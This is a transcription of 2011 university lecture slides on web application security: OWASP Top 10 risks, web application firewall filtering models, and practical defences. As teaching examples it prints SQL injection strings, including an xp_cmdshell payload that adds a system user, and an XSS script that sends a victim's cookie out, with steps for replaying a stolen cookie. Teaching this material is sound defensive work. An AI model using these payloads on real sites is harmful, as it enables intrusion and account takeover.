Chapter 7. Web Application Firewall

Transcription

1 Chapter 7. Web Application Firewall IMS784(침입탐지시스템) Spring, 2011 Prof. H. K. Kim 1

2 Agenda I. Remind for term project II. Web security threats III. Web application Firewall IV. Practical recommendations 2

3 Remind term project Selected dataset DARPA Intrusion detection data set html notes) Writing in Korean is allowed without any penalty. Make a group with 2~3 students Your term paper must include these following items. (1) analyze 1999 DARPA data set first, and explain about the dataset. If you have any criticism regarding dataset itself or experiment design, then describe it. - You will get no point in case that you just write several sentence or small paragraph for criticism. 3

4 Notice term project (2) Select the papers (more than 3 papers) related to these experiments. - the newer paper, the better. - describe why you select these papers. (a lot of citation count? interesting for what?) (3) Give your criticism about those papers. - You will get no point in case that you just write several sentences (too short!) or small paragraph for criticism. (4) You have to develop your own algorithm/methodology to improve the previous research. - describe your experiment design - submit your code in case that you develop an application for your experiment - describe your research's contributions strictly and justify your contributions. (5) adopting attack graph or data mining technique or statistics tools... any idea will be welcomed. You have to submit peer assessment result by contribution for your term paper. (when your group's members are student A, B and C. A: 55 point, B: 25 point, C: 20 point) due date: 16th June 4

5 Agenda I. Notice for term project II. Web security threats III. Web application Firewall IV. Practical recommendations 5

6 Web application (1/2) definition? A web application is a software application that is accessible using a web browser or HTTP(S) user agent. 6

7 Web application (2/2) web application s architecture n-tiers HTTP request (cleartext or SSL) SQL Database Web Client Transport Web Server Web app Web app Web app Web app Connector Connector DB DB HTTP reply (HTML, Javascript, VBscript, etc) Apache, IIS, Netscape etc Perl, C/C++, JSP, etc.. ADO, ODBC, etc.. 7

8 Why is web security important? Application Layer Database Layer Your security perimeter has huge holes at the application layer HTTP request (cleartext or SSL) Custom Developed Application Code Databases OS/Platform layer Network Layer HTTP reply (HTML, Javascript, VBscript, etc) Firewall Windows Unix App Server Web Server Hardened OS Apache IIS Firewall Database connection: ADO, JDBC, etc. We can t protect and detect application layer s attack with the traditional safeguard of network layer and OS layer (Firewall, ACL, OS hardening, SSL) image source: 8

9 Why is web security important? Network and OS layer protection cannot block web attacks. A lot of vulnerabilities are newly discovered every month in the well-known web applications. (e.g. Tomcat, Apache, zero board and etc.) The only thing that a firewall and ACL can do is blocking or permitting. It is extremely hard to defend against zero-day attacks. It is hard to find and fix vulnerabilities in in-house web applications. With these vulnerabilities, hackers can get inside of the network and servers. The most valuable assets (e.g. customers personal information) can be exposed by web attacks. It is hard to apply database encryption methods due to performance degradation. The Importance of Web Security keeps growing 9

10 Why is web security important? Now is the time for security at Application Level, Dec. 2005, Gartner 10

11 Is it easy to hack into web? GET / HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv: ) Gecko/ Firefox/3.0.5 (.NET CLR ) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Cookie: NID=19=LWH0mZNAX517tLm1zQBdKc55MBOkXjxTfHcxEdwH9NTJaWLgYfGglP2Ji16h45r76aDJcqrKl uxxr_x zjeti1zm45jvw_mq1rizp8dfji1soigj-hulnc9mbposg_rvo; PREF=ID=3caba30d3a03f500:TM= :LM= :S=b3Yz2CoeVFRPz-fm 11

12 Web crack Useful web hacking tools For password brute force attack IntelliTemper, webzip For gathering directory scheme and files 12

13 Basic web hacking technique Directory traversal and file download You got some URL path and the web server s OS type is linux system try this for downloading a sensitive file Try directory listing 13

14 OWASP top 10 OWASP top 10 project p_ten_project Open Web Application Security Project Promotes secure software development Oriented to the delivery of web oriented services Focused primarily on the back-end than web-design issues An open forum for discussion 14

15 OWASP top 10 OWASP top 10 project roject 번역본: procfiledownload&file_srl=25999&sid=00866c962d cb97cd9fadb81947 Open Web Application Security Project Promotes secure software development Oriented to the delivery of web oriented services Focused primarily on the back-end than webdesign issues An open forum for discussion 15

16 OWASP top 10 top 10 issue (~2009) A1. Unvalidated Input A2. Broken Access Controls A3. Broken Authentication and Session Management A4. Cross Site Scripting Flaws A5. Buffer Overflows A6. Injection Flaws A7. Improper Error Handling A8. Insecure Storage A9. Denial of Service A10. Insecure Configuration Management 16

17 What s new in OWASP Top 10 (2010)? = = Ref: OWASP Top 10 project

18 OWASP Top 10 (2010) 18

19 OWASP Top 10 (2010) 19

20 Injection SQL injection illustrated Application Layer Database Layer OS/Platform layer Network Layer HTTP request APPLICATION ATTACK Firewall Accounts Finance Administration Transactions Communication Knowledge Mgmt Custom Code App Server Web Server Hardened OS E-Commerce HTTP SQL response query Bus. Functions Firewall Databases Legacy Systems Web Services Directories Human Resources DB Table Billing "SELECT * FROM Account Summary Account: accounts WHERE acct= SKU: OR 1=1-- " Acct: Acct: Acct: Acct: Application presents a form to the attacker 2. Attacker sends an attack in the form data 3. Application forwards attack to the database in a SQL query 4. Database runs query containing attack and sends encrypted results back to application 5. Application decrypts data as normal and sends results to the user image source: 20

21 More SQL injection examples Query = "SELECT user_id FROM member WHERE user_id = ' "&struser_id&" ' AND password = ' '&strpassword&" ' strauthcheck = GetQueryResult(Query) If strauthcheck = " " then boolauthenticated = Fasle Else boolauthenticated = True EndIf Query = "SELECT user_id FROM member WHERE user_id = or = AND password = ' or = strauthcheck = GetQueryResult(Query) If strauthcheck = " " then boolauthenticated = Fasle Else boolauthenticated = True EndIf Then try to inject these Id : or = password : or = 21

22 More SQL injection examples More dangerous injection code: ''%'; EXEC master.dbo.xp_cmdshell "net user sqltest sqltest /add"--% 22

23 Injection how to defend? 1. Use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. (e.g. stored procedures) even though these APIs are parameterized, but may still allow injection. 2. If a parameterized API is not available, you should carefully filter special characters using the specific escape syntax. Example of filtering code for user input validation <%@ page import= java.util.regex.* %> String queryinput = request.getparameter( DB_INPUT ); String newqueryinput; static Pattern escaper = Pattern.compile("([^a-zA-z0-9.])"); newqueryinput = escaper.matcher(queryinput).replaceall("\\\\$1"); 23

24 XSS XSS illustrated 1. Attacker sets the trap post the JavaScript code Application with stored XSS code Attacker 2. Victim views page sees attacker s posting Script runs inside victim s browser with full access to the DOM and cookies Accounts Finance Administration Transactions Custom Code Communication Knowledge Mgmt E-Commerce Bus. Functions victim 3. usually, the script are designed to send victim s session or cookie to hacker silently. With victim s session ID or cookie, hacker can login to the web site without an victim s ID and password. image source: 24

25 More XSS example <script>url=" nt.cookie;window.open(url,width=0, height=0);</script> 25

26 More XSS example With stolen cookie, how to exploit? You can use Burp suite or Paros for editing HTTP request field. Replace cookie field with captured victim s value 26

27 XSS how to defend? 1.Filter all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Do not allow users HTML tag or script input. 2.If an web application requires users input of special characters then apply positive or whitelist input validation. Example code for filtering user inputs 27

28 1. Unvalidated Parameters HTTP requests from browsers to web apps URL, Querystring, Form Fields, Hidden Fields, Cookies, Headers Web apps use this information to generate web pages Attackers can modify anything in request WebScarab Key Points: Check before you use anything in HTTP request Canonicalize before you check Client-side validation is irrelevant Reject anything not specifically allowed Type, min/max length, character set, regex, min/max value 28

29 2. Broken Access Control Access control is how you keep one user away from other users information The problem is that many environments provide authentication, but don t handle access control well Many sites have a complex access control policy Insidiously difficult to implement correctly Key Points Write down your access control policy Don t use any id s that an attacker can manipulate Implement access control in a centralized module 29

30 3. Broken Account and Session Management Account Management Handling credentials across client-server gap Backend authentication credentials too Session Management HTTP is a stateless protocol. Web apps need to keep track of which request came from which user Brand sessions with an id using cookie, hidden field, URL tag, etc Key Points Keep credentials secret at all times Use only the random sessionid provided by your environment 30

31 3. Broken Account and Session Management With exploiting MS SQL reporting service web vulnerability, it is able to do directory traversal and download sensitive data 31

32 4. Cross-Site Scripting (XSS) Flaws Web browsers execute code sent from websites Javascript Flash and many others haven t really been explored But what if an attacker could get a website to forward an attack! Stored web application stores content from user, then sends it to other users Reflected web application doesn t store attack, just sends it back to whoever sent the request Key Points Don t try to strip out active content too many variations. Use a positive specification. 32

33 5. Buffer Overflows Web applications read all types of input from users Libraries, DLL s, Server code, Custom code, Exec C and C++ code is vulnerable to buffer overflows Input overflows end of buffer and overwrites the stack Can be used to execute arbitrary code Key Points Be careful about reading into buffers Use safe string libraries correctly 33

34 6. Command Injection Flaws Web applications involve many interpreters OS calls, SQL databases, templating systems Malicious code Sent in HTTP request Extracted by web application Passed to interpreter, executed on behalf of web app Key Points Use extreme care when invoking an interpreter Use limited interfaces where possible (PreparedStatement) Check return values 34

35 7. Error Handling Problems Errors occur in web applications all the time Out of memory, too many users, timeout, db failure Authentication failure, access control failure, bad input How do you respond? Need to tell user what happened (no hacking clues) Need to log an appropriate (different) message Key Points: Make sure error screens don t print stack traces Design your error handling scheme Configure your server 35

36 7. Error Handling Problems 36

37 8. Insecure Use of Cryptography Use cryptography to store sensitive information Algorithms are simple to use, integrating them is hard Key Points Do not even think about inventing a new algorithm Be extremely careful storing keys, certs, and passwords Rethink whether you need to store the information Don t store user passwords use a hash like SHA-256 or md5 The master secret can be split into two locations and assembled Configuration files, external servers, within the code 37

38 38

39 9. Remote Administration Flaws Many sites allow remote administration Very powerful, often hidden interfaces Difficult to protect Key Points Eliminate all administration over the Internet Separate the admin application from the main app Limit the scope of remote administration Consider strong authentication Smart card or token 39

40 10. Web and Application Server Misconfiguration All web and application servers have many securityrelevant configuration options Default accounts and passwords Unnecessary default, backup, sample apps, libraries Overly informative error messages Misconfigured SSL, default certificates, self-signed certs Unused administrative services Key Points: Keep up with patches (Code Red, Slammer) Use Scanning Tools (Nikto, Nessus) Harden your servers! 40

41 Agenda I. Notice for term project II. Web security threats III. Web application Firewall IV. Practical recommendations 41

42 Web Application Firewall Why do we need WAF? We already have IPS. IPS covers all of the network protocol and application flaws. WAF is highly designed for detecting and preventing HTTP If you use both, WAF will save IPS workload for detecting HTTP side attack WAF has unique functionality based on white and black It enumerates all http requests including parameters on that sites and maintains. It blocks well-known attacks for http servers (apache, IIS and etc.) and attack patterns in OWASP top 10 categories 42

43 Web Application Firewall WAF is a valuable security solution because Web applications are too sophisticated for an IDS/Intrusion Prevention System (IPS) to protect. Each Web application is unique makes it too complex for a static patternmatching solution. A WAF has the capability to understand what characters are allowed within the context of the many pieces and parts of a Web page. 43

44 WAF Protection models WAF s modeled approaches to filtering traffic user permission-based access control centralized authentication negative security positive security virtual patching output filtering 44

45 WAF positive filtering model allows only known good traffic to pass Some allow, all deny a WAF running a positive security approach is like a paranoid security guard who automatically assumes that everyone he doesn t recognize is malicious. With this model, WAF catches the unknown (or zero-day) attacks it does not need to regularly have its signature file updated. It requires extensive training or learning time, which takes much up-front time and energy 45

46 WAF negative filtering model block known bad items Some deny, all allow monitor and detect known problems easy to develop, false positives are uncommon negative security model does not detect unknown threats 46

47 WAF virtual patching model Network level defense Even though there are security holes in the back-end servers, WAF can defend them from the relative attack. This concept allows an IDS/IPS administrator to install a custom filter to prevent an unpatched system virtual patching requires an administrator to have the exploit code to properly test the solution, or the patch has to be generic E.g. block all packets which have the following strings DECLARE%20@S%20NVARCHAR(4000) It is part of one particular SQL injection attack payload All various attacks with this strings will be blocked 47

48 WAF - Output Detection Model/Content Scrubbing WAF is still weak from the evasion technique SQL injection attacks typically involve an apostrophe, which can be encoded in the attack request several different ways: so WAF possibly misses some attacks, %27, Char(39), &apos;, &#39;, \\, &# But dealing with return messages are relatively easy. e.g. DataLayerAPI error '80040e14' Unclosed quotation mark after the character string '' While output detection is configured to detect some specific error messages, it prevents the error message from returning to the attacker. It can rewrite the response to make it look like the error never happened It can redirect return pages to the pre-defined page 48

49 WAF policy models Learning For gathering reliable source of obtaining a rule set by placing the WAF in a secure environment and letting the software monitor create a database of what constitutes acceptable behavior. WAF can learn by watching trusted activity from a trusted source. Vulnerability assessment feedback Learning is not good enough Gather information for WAF configuration by vulnerability assessment (VA) with an automated tool, professional service, or manual assessment. Manual entry Enumerate and subscribe all of the allowable subdirectory, subdomain, file type, or any number of other files, folders, or situations 49

50 VA+WAF Some commercial WAF products have an integration module or interface with VA tool Efficient than manual entry 50

51 Limitation WAF is focused on web based attacks Use WAF and IDPS both WAF has still false-positive and false-negative problems Performance degradation deadly bottleneck Lots of maintenance cost Misconfiguration issue Hard to handle frequent web site updates and renewals WAF itself does not fix source code itself. Secure coding is highly required 51

52 Commercial WAF art of defence - hyperguard Trustwave - WebDefend Web Application Firewall Deny All - rweb Fortify Software - Defender Imperva - SecureSphere Applicure - DotDefender Radware AppWall Armorlogic - Profense Barracuda Networks - Application Firewall Bee-Ware - isentry BinarySec - Application Firewall BugSec - WebSniper Cisco - ACE Web Application Firewall Citrix - Application Firewall eeye Digital Security - SecureIIS F5 - Application Security Manager Forum Systems - Xwall, Sentry mwebscurity - webapp.secure Phion / Visonys - Airlock Privacyware - ThreatSentry IIS Web Application Firewall Protegrity - Defiance TMS - Web Application Firewall Xtradyne - Application Firewalls 52

53 Modsecurity Open source based WAF Guardian Web knight 53

54 Agenda I. Notice for term project II. Web security threats III. Web application Firewall IV. Practical recommendations 54

55 Web Application Firewall Deploy IPS and a web application firewall in front of web servers Performance degradation Limits in budget False-positives Review all source codes of web applications before the codes go into service Frequent updates and renewals of web sites Lack of security experts Patch all known security flaws Every month there are more new vulnerabilities discovered Establish standards No standards Legacy systems developed with various languages 55

56 More practical recommendations Separate database that handles continuous user input (e.g. web BBS) from other databases. Implement 3-tier architecture or middleware for sanitizing transactions. Developing dll or dummy TCP server will be enough. Use replicated databases - even though hacker attacks succeed, the original data will be always safe and secure. Do not allow direct DB connection Web server Use user defined service port for middleware service Middle component server Parse query request and send the query only if the pre-defined condition is matched (source IP = web server, who = sa2, query = SELECT only) replicated Database DB connection is only allowed from the middleware component server Original Database 56

57 More practical recommendations no perfection Use secondary authentication for protecting users WAF is not enough, IPS+WAF is not enough also. 57

58 More practical recommendations Make a contingency plan. - Web applications can be compromised at any time. Even if we fail to protect and detect attacks, we must not fail to react. (e.g. Solaris zone copy for restoring) Even though the web application is compromised, the damage should not be propagated to the other processes or servers. Use virtualization technology for minimizing damages. (e.g. Solaris OS Zone, VMware, MS virtual server) Application virtualization process process OS virtualization VM1 VM2 Real machine hacking Damaged area 58

59 Homework Web Application Firewall Evaluation Criteria 61/wasc-wafec-v1.0.pdf 1) make a group with 2~3 students. 2) Read the above WAFEC thoroughly and evaluate any free version of WAF with the Evaluation Criteria. 3) submit your report to EKU. 59

60 References Evaluation-Criteria Web_Intrusion_Detection_with_ModSecurity.pdf